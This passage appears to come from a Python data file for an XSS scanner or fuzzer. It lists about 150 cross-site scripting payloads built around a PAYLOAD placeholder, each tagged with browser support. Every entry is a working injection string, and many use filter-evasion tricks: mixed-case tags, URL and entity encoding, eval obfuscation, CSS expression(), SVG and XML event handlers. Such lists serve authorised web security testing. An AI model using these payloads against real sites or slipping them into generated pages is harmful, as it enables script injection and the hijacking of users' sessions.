  2299. { 'payload':'''' '><script>alert(PAYLOAD)</script>''',
  2300. 'browser':"""[Not Info]"""},
  2301. { 'payload':'''''><script>alert(PAYLOAD)</script>''',
  2302. 'browser':"""[Not Info]"""},
  2303. { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
  2304. 'browser':"""[Not Info]"""},
  2305. { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
  2306. 'browser':"""[Not Info]"""},
  2307. { 'payload':''''"`><script>/* *alert(PAYLOAD)// */</script>''',
  2308. 'browser':"""[Not Info]"""},
  2309. { 'payload':'''’><script>alert(PAYLOAD)</script>''',
  2310. 'browser':"""[Not Info]"""},
  2311. { 'payload':'''"`'><script>alert(PAYLOAD)</script>''',
  2312. 'browser':"""[Not Info]"""},
  2313. { 'payload':'''"'`><script>alert(PAYLOAD)</script>''',
  2314. 'browser':"""[Not Info]"""},
  2315. { 'payload':'''“<script>alert(PAYLOAD)</script>''',
  2316. 'browser':"""[Not Info]"""},
  2317. { 'payload':'''“><<script>alert(PAYLOAD);//<</script>''',
  2318. 'browser':"""[Not Info]"""},
  2319. { 'payload':'''“><script >alert(PAYLOAD)</script>''',
  2320. 'browser':"""[Not Info]"""},
  2321. { 'payload':'''“><script >alert(PAYLOAD)</script >''',
  2322. 'browser':"""[Not Info]"""},
  2323. { 'payload':'''&<script>alert(PAYLOAD);</script>''',
  2324. 'browser':"""[Not Info]"""},
  2325. { 'payload':'''#<script>alert(PAYLOAD)</script>''',
  2326. 'browser':"""[Not Info]"""},
  2327. { 'payload':'''“><ScRiPt>alert(PAYLOAD)</script>''',
  2328. 'browser':"""[Not Info]"""},
  2329. { 'payload':'''“><ScRiPt>alert(PAYLOAD)</ScRiPt>''',
  2330. 'browser':"""[Not Info]"""},
  2331. { 'payload':'''<<SCRIPT>alert(PAYLOAD);//<</SCRIPT>''',
  2332. 'browser':"""[Not Info]"""},
  2333. { 'payload':'''<SCRIPT> alert(\"PAYLOAD\")</SCRIPT>''',
  2334. 'browser':"""[Not Info]"""},
  2335. { 'payload':'''<SCRIPT> alert(\"PAYLOAD\");</SCRIPT>''',
  2336. 'browser':"""[Not Info]"""},
  2337. { 'payload':'''<SCRIPT>alert(PAYLOAD);</SCRIPT>''',
  2338. 'browser':"""[Not Info]"""},
  2339. { 'payload':'''<script>alert(PAYLOAD)<script></script>''',
  2340. 'browser':"""[Not Info]"""},
  2341. { 'payload':'''<script>alert%28PAYLOAD%29</script>''',
  2342. 'browser':"""[Not Info]"""},
  2343. { 'payload':'''<script>alert(alert(PAYLOAD))</script>''',
  2344. 'browser':"""[Not Info]"""},
  2345. { 'payload':'''&'"><script>alert(/PAYLOAD/)</āăą>''',
  2346. 'browser':"""[Not Info]"""},
  2347. { 'payload':'''<!-- --!><script>alert(PAYLOAD)</script>-->''',
  2348. 'browser':"""[Not Info]"""},
  2349. { 'payload':'''&'"><script>alert(/PAYLOAD/)</script>''',
  2350. 'browser':"""[Not Info]"""},
  2351. { 'payload':'''<script>alert(/PAYLOAD/)</script>''',
  2352. 'browser':"""[Not Info]"""},
  2353. { 'payload':'''<script>alert("/PAYLOAD"/)</script>''',
  2354. 'browser':"""[Not Info]"""},
  2355. { 'payload':'''”><script>alert(“PAYLOAD”)</script>''',
  2356. 'browser':"""[Not Info]"""},
  2357. { 'payload':'''\"><script>alert(/PAYLOAD/)<script>''',
  2358. 'browser':"""[Not Info]"""},
  2359. { 'payload':'''<ScriPt>ALeRt(“ PAYLOAD ”)</scriPt>''',
  2360. 'browser':"""[Not Info]"""},
  2361. { 'payload':'''<<SCRIPT>alert("PAYLOAD");//<</SCRIPT>''',
  2362. 'browser':"""[Not Info]"""},
  2363. { 'payload':'''<SCRIPT>+alert("PAYLOAD")</SCRIPT>''',
  2364. 'browser':"""[Not Info]"""},
  2365. { 'payload':'''<SCRIPT>+alert("PAYLOAD");</SCRIPT>''',
  2366. 'browser':"""[Not Info]"""},
  2367. { 'payload':'''&'"><script>alert&lpar;&sol;PAYLOAD&sol;&rpar;<&sol;script>''',
  2368. 'browser':"""[Not Info]"""},
  2369. { 'payload':'''<script Y>/*<script* */alert(PAYLOAD)</script''',
  2370. 'browser':"""[ALL]"""},
  2371. { 'payload':'''<SCRIPT <B>alert(PAYLOAD);</SCRIPT>''',
  2372. 'browser':"""[Not Info]"""},
  2373. { 'payload':'''"`'><script>%C2%85javascript:alert(PAYLOAD)</script>''',
  2374. 'browser':"""[Not Info]"""},
  2375. { 'payload':'''"`'><script>%C2%A0javascript:alert(PAYLOAD)</script>''',
  2376. 'browser':"""[Not Info]"""},
  2377. { 'payload':'''<script charset="%22>javascript:alert(PAYLOAD)</script>''',
  2378. 'browser':"""[Not Info]"""},
  2379. { 'payload':'''<script charset='utf-8'>alert(PAYLOAD)</script>''',
  2380. 'browser':"""[Not Info]"""},
  2381. { 'payload':'''<script> chr=String.fromCharCode(PAYLOAD); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%25/.Y(result)&&result.length) { ids.push(PAYLOAD); } </script>''',
  2382. 'browser':"""[Not Info]"""},
  2383. { 'payload':'''<script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%25/.Y(result)&&result.length) { ids.push(PAYLOAD); } </script>''',
  2384. 'browser':"""[Not Info]"""},
  2385. { 'payload':'''<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(PAYLOAD)',384,null,'rsa-dual-use')</script>''',
  2386. 'browser':"""[Not Info]"""},
  2387. { 'payload':'''"`'><script>%E1%9A%80javascript:alert(PAYLOAD)</script>''',
  2388. 'browser':"""[Not Info]"""},
  2389. { 'payload':'''"`'><script>%E1%A0%8Ejavascript:alert(PAYLOAD)</script>''',
  2390. 'browser':"""[Not Info]"""},
  2391. { 'payload':'''<script>eval(‘a%006cert(PAYLOAD)’);</script>''',
  2392. 'browser':"""[Not Info]"""},
  2393. { 'payload':'''<script>eval(‘a\154ert(PAYLOAD)’);</script>''',
  2394. 'browser':"""[Not Info]"""},
  2395. { 'payload':'''<script>eval(‘a%6cert(PAYLOAD)’);</script>''',
  2396. 'browser':"""[Not Info]"""},
  2397. { 'payload':'''<script>eval(‘a\l\ert\(PAYLOAD\)’);</script>''',
  2398. 'browser':"""[Not Info]"""},
  2399. { 'payload':'''<script>eval(‘al’+’ert(PAYLOAD)’);</script>''',
  2400. 'browser':"""[Not Info]"""},
  2401. { 'payload':'''<script>execScript(“MsgBox PAYLOAD”,”vbscript”);</script>''',
  2402. 'browser':"""[Not Info]"""},
  2403. { 'payload':'''"`'><script>%F0%90%96%9Ajavascript:alert(PAYLOAD)</script>''',
  2404. 'browser':"""[Not Info]"""},
  2405. { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>alert(PAYLOAD)</SCRIPT>''',
  2406. 'browser':"""[Not Info]"""},
  2407. { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(PAYLOAD)</SCRIPT>''',
  2408. 'browser':"""[Not Info]"""},
  2409. { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>prompt(PAYLOAD)</SCRIPT>''',
  2410. 'browser':"""[Not Info]"""},
  2411. { 'payload':'''<script>function::[‘alert’](PAYLOAD)</script>''',
  2412. 'browser':"""[Not Info]"""},
  2413. { 'payload':'''<script> function a() {} </script> <img src=PAYLOAD onerror="a();alert(PAYLOAD)">''',
  2414. 'browser':"""[Not Info]"""},
  2415. { 'payload':'''<script> if ('a'.trim() === '') { alert(PAYLOAD); } </script>''',
  2416. 'browser':"""[Not Info]"""},
  2417. { 'payload':'''<script>if("x\%E0%B9%92".length==2) { javascript:alert(PAYLOAD);}</script>''',
  2418. 'browser':"""[Not Info]"""},
  2419. { 'payload':'''<script>if("x\%E1%96%89".length==2) { javascript:alert(PAYLOAD);}</script>''',
  2420. 'browser':"""[Not Info]"""},
  2421. { 'payload':'''<script>if("x\%EE%A9%93".length==2) { javascript:alert(PAYLOAD);}</script>''',
  2422. 'browser':"""[Not Info]"""},
  2423. { 'payload':'''<script>if("x\".length==1) { alert(PAYLOAD);}</script>''',
  2424. 'browser':"""[Not Info]"""},
  2425. { 'payload':'''<script>if("x\".length==2) { alert(PAYLOAD);}</script>''',
  2426. 'browser':"""[Not Info]"""},
  2427. { 'payload':'''' style=Y:expression(PAYLOAD) ' \" style=Y:expression(PAYLOAD) \"''',
  2428. 'browser':"""[Not Info]"""},
  2429. { 'payload':'''<style><img src="</style><img src=x onerror=alert(PAYLOAD)//">''',
  2430. 'browser':"""[Not Info]"""},
  2431. { 'payload':'''<style><img src="</style><img src=x onerror=javascript:alert(PAYLOAD)//">''',
  2432. 'browser':"""[Not Info]"""},
  2433. { 'payload':'''<style><img src="</style><img src=x onerror=prompt(1)//">''',
  2434. 'browser':"""[Not Info]"""},
  2435. { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:alert(PAYLOAD)';</STYLE>''',
  2436. 'browser':"""[Not Info]"""},
  2437. { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:alert("PAYLOAD")';</STYLE>''',
  2438. 'browser':"""[Not Info]"""},
  2439. { 'payload':'''<STYLE>.T{background-image:url("javascript:alert(PAYLOAD)");}</STYLE>''',
  2440. 'browser':"""[Not Info]"""},
  2441. { 'payload':'''<STYLE>.T{background-image:url("javascript:alert(PAYLOAD)");}</STYLE><A CLASS=T></A>''',
  2442. 'browser':"""[Not Info]"""},
  2443. { 'payload':'''<STYLE>.T{background-image:url("javascript:alert('PAYLOAD')");}</STYLE><A CLASS=T></A>''',
  2444. 'browser':"""[Not Info]"""},
  2445. { 'payload':'''<STYLE>.T{background-image:url("javascript:javascript:alert(PAYLOAD)");}</STYLE><A CLASS=T></A>''',
  2446. 'browser':"""[Not Info]"""},
  2447. { 'payload':'''<STYLE>li {list-style-image: url("javascript:alert(PAYLOAD)");}</STYLE><UL><LI>Y''',
  2448. 'browser':"""[Not Info]"""},
  2449. { 'payload':'''<STYLE>li {list-style-image: url(&quot;javascript:alert(&#39;PAYLOAD&#39;)&quot;);}</STYLE><UL><LI>Y''',
  2450. 'browser':"""[Not Info]"""},
  2451. { 'payload':'''<style/onload=<!--&#09;>&#10;alert&#10;&lpar;PAYLOAD&rpar;>''',
  2452. 'browser':"""[Not Info]"""},
  2453. { 'payload':'''<style onLoad style onLoad="javascript:javascript:alert(PAYLOAD)"></style onLoad>''',
  2454. 'browser':"""[Not Info]"""},
  2455. { 'payload':'''<style onreadystatechange=alert(PAYLOAD)>''',
  2456. 'browser':"""[Not Info]"""},
  2457. { 'payload':'''<style onreadystatechange=javascript:javascript:alert(PAYLOAD);></style>''',
  2458. 'browser':"""[Not Info]"""},
  2459. { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(PAYLOAD)"></style onReadyStateChange>''',
  2460. 'browser':"""[Not Info]"""},
  2461. { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:alert(PAYLOAD)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>''',
  2462. 'browser':"""[Not Info]"""},
  2463. { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(PAYLOAD)'}{}*{-o-link-source:current}]{color:red};</style>''',
  2464. 'browser':"""[Not Info]"""},
  2465. { 'payload':''''"--></style></script><script>alert("PAYLOAD")</script>''',
  2466. 'browser':"""[Not Info]"""},
  2467. { 'payload':''''"--></style></script><script>prompt(PAYLOAD)</script>''',
  2468. 'browser':"""[Not Info]"""},
  2469. { 'payload':'''<///style///><span %2F onmousemove='alert&lpar;PAYLOAD&rpar;'>SPAN''',
  2470. 'browser':"""[Not Info]"""},
  2471. { 'payload':'''<style></style%09<img src="about:blank" onerror=javascript:alert(PAYLOAD)//></style>''',
  2472. 'browser':"""[Not Info]"""},
  2473. { 'payload':'''<style></style><img src="about:blank" onerror=alert(PAYLOAD)//></style>''',
  2474. 'browser':"""[Not Info]"""},
  2475. { 'payload':'''<style><!--</style><script>alert(PAYLOAD);//--></script>''',
  2476. 'browser':"""[Not Info]"""},
  2477. { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:alert(PAYLOAD)")}</STYLE>''',
  2478. 'browser':"""[Not Info]"""},
  2479. { 'payload':'''<STYLE TYPE="text/javascript">alert(PAYLOAD);</STYLE>''',
  2480. 'browser':"""[Not Info]"""},
  2481. { 'payload':'''<STYLE TYPE="text/javascript">alert('PAYLOAD');</STYLE>''',
  2482. 'browser':"""[Not Info]"""},
  2483. { 'payload':'''<STYLE TYPE="text/javascript">javascript:alert(PAYLOAD);</STYLE>''',
  2484. 'browser':"""[Not Info]"""},
  2485. { 'payload':'''<// style=x:expression\28javascript:alert(PAYLOAD)\29>''',
  2486. 'browser':"""[Not Info]"""},
  2487. { 'payload':'''<// style=x:expression\28write(PAYLOAD)\29>''',
  2488. 'browser':"""[Not Info]"""},
  2489. { 'payload':'''<style>*{x:expression(write(PAYLOAD))}</style>''',
  2490. 'browser':"""[Not Info]"""},
  2491. { 'payload':'''<style>*{x:expression(javascript:alert(PAYLOAD))}</style>''',
  2492. 'browser':"""[Not Info]"""},
  2493. { 'payload':'''<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(PAYLOAD)//"></svg>''',
  2494. 'browser':"""[Not Info]"""},
  2495. { 'payload':'''<svg contentScriptType=text/vbs><script>MsgBox+PAYLOAD''',
  2496. 'browser':"""[Not Info]"""},
  2497. { 'payload':'''<svg/onload=alert(PAYLOAD)''',
  2498. 'browser':"""[Not Info]"""},
  2499. { 'payload':'''<svg><style>{font-family&colon;"<iframe/onload=confirm(PAYLOAD)>"''',
  2500. 'browser':"""[Not Info]"""},
  2501. { 'payload':'''<svg><style><img/src=x onerror=alert(PAYLOAD)// </b>''',
  2502. 'browser':"""[Not Info]"""},
  2503. { 'payload':'''<svg><style>&ltimg src=x onerror=alert(PAYLOAD)&gt</svg>''',
  2504. 'browser':"""[Not Info]"""},
  2505. { 'payload':'''</svg>''<svg><script 'Y'>alert&#x28;PAYLOAD&#x29;''',
  2506. 'browser':"""[Not Info]"""},
  2507. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(PAYLOAD)"></g></svg''',
  2508. 'browser':"""[Not Info]"""},
  2509. { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><script>alert(PAYLOAD)</script></svg>''',
  2510. 'browser':"""[Not Info]"""},
  2511. { 'payload':'''<TABLE BACKGROUND="javascript:alert(PAYLOAD)">''',
  2512. 'browser':"""[Not Info]"""},
  2513. { 'payload':'''<table background="javascript:alert(PAYLOAD)"></table>''',
  2514. 'browser':"""[Not Info]"""},
  2515. { 'payload':'''<TABLE><TD BACKGROUND="javascript:alert(PAYLOAD)">''',
  2516. 'browser':"""[Not Info]"""},
  2517. { 'payload':'''<TABLE><TD BACKGROUND="javascript:javascript:alert(PAYLOAD)">''',
  2518. 'browser':"""[Not Info]"""},
  2519. { 'payload':'''<textarea autofocus onfocus=alert(PAYLOAD)>''',
  2520. 'browser':"""[Not Info]"""},
  2521. { 'payload':'''<textarea onfocus=javascript:alert(PAYLOAD) autofocus>''',
  2522. 'browser':"""[Not Info]"""},
  2523. { 'payload':'''<title>Y<script>alert(PAYLOAD)</script></title>''',
  2524. 'browser':"""[Not Info]"""},
  2525. { 'payload':'''<title onpropertychange=alert(PAYLOAD)></title><title title=></title>''',
  2526. 'browser':"""[Not Info]"""},
  2527. { 'payload':'''<title onpropertychange=javascript:alert(PAYLOAD)></title><title title=>''',
  2528. 'browser':"""[Not Info]"""},
  2529. { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:javascript:alert(PAYLOAD)"></title onPropertyChange>''',
  2530. 'browser':"""[Not Info]"""},
  2531. { 'payload':'''<var onmouseover="prompt(PAYLOAD)">Y</var>​''',
  2532. 'browser':"""[Not Info]"""},
  2533. { 'payload':'''<video onerror="javascript:alert(PAYLOAD)"><source>''',
  2534. 'browser':"""[Not Info]"""},
  2535. { 'payload':'''<video onerror="javascript:javascript:alert(PAYLOAD)"><source>''',
  2536. 'browser':"""[Not Info]"""},
  2537. { 'payload':'''<video poster=javascript:alert(PAYLOAD)//></video>''',
  2538. 'browser':"""[Not Info]"""},
  2539. { 'payload':'''<video poster=javascript:alert(PAYLOAD)//<video poster=javascript:alert(PAYLOAD)//></video>''',
  2540. 'browser':"""[Not Info]"""},
  2541. { 'payload':'''<video poster=javascript:javascript:alert(PAYLOAD)//''',
  2542. 'browser':"""[Not Info]"""},
  2543. { 'payload':'''<video><source onerror="javascript:javascript:alert(PAYLOAD)">''',
  2544. 'browser':"""[Not Info]"""},
  2545. { 'payload':'''<video><source onerror="prompt(PAYLOAD)"></source></video>''',
  2546. 'browser':"""[Not Info]"""},
  2547. { 'payload':'''<video src=PAYLOAD href=PAYLOAD onerror="javascript:alert(PAYLOAD)"></video>''',
  2548. 'browser':"""[Not Info]"""},
  2549. { 'payload':'''<video src=PAYLOAD onerror=alert(PAYLOAD)>''',
  2550. 'browser':"""[Not Info]"""},
  2551. { 'payload':'''<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#Zault#vml);position:absolute;width:100%25;height:100%25 src=%25(vml)s#PAYLOAD></vmlframe>''',
  2552. 'browser':"""[Not Info]"""},
  2553. { 'payload':'''X<form id=Y><input></form><button form=Y onformchange==javascript:alert(PAYLOAD)>X''',
  2554. 'browser':"""[Not Info]"""},
  2555. { 'payload':'''X<form id=Y onforminput=javascript:alert(PAYLOAD)><input></form>''',
  2556. 'browser':"""[Not Info]"""},
  2557. { 'payload':'''<XML ID=0><I><B><IMG SRC="javas<!-- -->cript:alert(PAYLOAD)"></B></I></XML>''',
  2558. 'browser':"""[Not Info]"""},
  2559. { 'payload':'''<XML ID=0><I><B>&lt;IMG SRC="javas<!-- -->cript:alert(PAYLOAD)"&gt;</B></I></XML>''',
  2560. 'browser':"""[Not Info]"""},
  2561. { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(PAYLOAD);">]]>''',
  2562. 'browser':"""[Not Info]"""},
  2563. { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(PAYLOAD);">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>''',
  2564. 'browser':"""[Not Info]"""},
  2565. { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(PAYLOAD);">]]</C><X></xml>''',
  2566. 'browser':"""[Not Info]"""},
  2567. { 'payload':'''<xml id="Y" src="%25(htc)s"></xml> <label dataformatas="html" datasrc="#Y" datafld="PAYLOAD"></label>''',
  2568. 'browser':"""[Not Info]"""},
  2569. { 'payload':'''<xml id="T" src="Y.htc"></xml><label dataformatas="html" datasrc="#T" datafld="PAYLOAD"></label>''',
  2570. 'browser':"""[Not Info]"""},
  2571. { 'payload':'''<xml id="X"><a><b><script>alert(PAYLOAD);</script>;</b></a></xml>''',
  2572. 'browser':"""[Not Info]"""},
  2573. { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(PAYLOAD)"></xml onPropertyChange>''',
  2574. 'browser':"""[Not Info]"""},
  2575. { 'payload':'''<xml onreadystatechange=alert(PAYLOAD)>''',
  2576. 'browser':"""[Not Info]"""},
  2577. { 'payload':'''<xml> <rect style="height:100%25;width:100%25" id="Y" onmouseover="alert(PAYLOAD)" strokecolor="white" strokeweight="2000px" filled="false" /> </xml>''',
  2578. 'browser':"""[Not Info]"""},
  2579. { 'payload':'''<xml src="javascript:alert(PAYLOAD);">''',
  2580. 'browser':"""[Not Info]"""},
  2581. { 'payload':'''<?xml-stylesheet href="javascript:alert(PAYLOAD)"?><root/>''',
  2582. 'browser':"""[Not Info]"""},
  2583. { 'payload':'''<?xml-stylesheet type="text/css"?><root style="x:expression(write(PAYLOAD))"/>''',
  2584. 'browser':"""[Not Info]"""},
  2585. { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(PAYLOAD);</html:script></html:html>''',
  2586. 'browser':"""[Not Info]"""},
  2587. { 'payload':'''<?xml version="1.0"?> x><payload><![CDATA[<img src=x onerror=alert(PAYLOAD)>]]></payload></x>''',
  2588. 'browser':"""[Not Info]"""},
  2589. { 'payload':'''<xmp> <%25 </xmp> <img alt='%25></xmp><img src=xx:x onerror=alert(PAYLOAD)//'> <script> x='<%25' </script> %25>/ alert(PAYLOAD) </script> XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>''',
  2590. 'browser':"""[Not Info]"""},
  2591. { 'payload':'''<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(PAYLOAD);</x:script>''',
  2592. 'browser':"""[Not Info]"""},
  2593. { 'payload':'''<x style="background:url('x&#1;;color:red;/*')">PAYLOAD</x>''',
  2594. 'browser':"""[Not Info]"""},
  2595. { 'payload':'''<x style="background:url('x[a];color:red;/*')">PAYLOAD</x>''',
  2596. 'browser':"""[Not Info]"""},
  2597. { 'payload':'''<x style=behavior:url(#Zault#time2) onbegin=alert(PAYLOAD)>''',
  2598. 'browser':"""[Not Info]"""},
  2599. { 'payload':'''<x style=x:expression(alert(PAYLOAD))>''',
  2600. 'browser':"""[Not Info]"""},
  2601. { 'payload':'''X<x style=`behavior:url(#Zault#time2)` onbegin=`javascript:alert(PAYLOAD)` >''',
  2602. 'browser':"""[Not Info]"""},
  2603. { 'payload':'''X<x style=`behavior:url(#Zault#time2)` onbegin=`write(PAYLOAD)` >''',
  2604. 'browser':"""[Not Info]"""},
  2605. { 'payload':'''<form><button formaction=javascript&colon;PAYLOAD>Y''',
  2606. 'browser':"""[Not Info]"""}
  2607. ]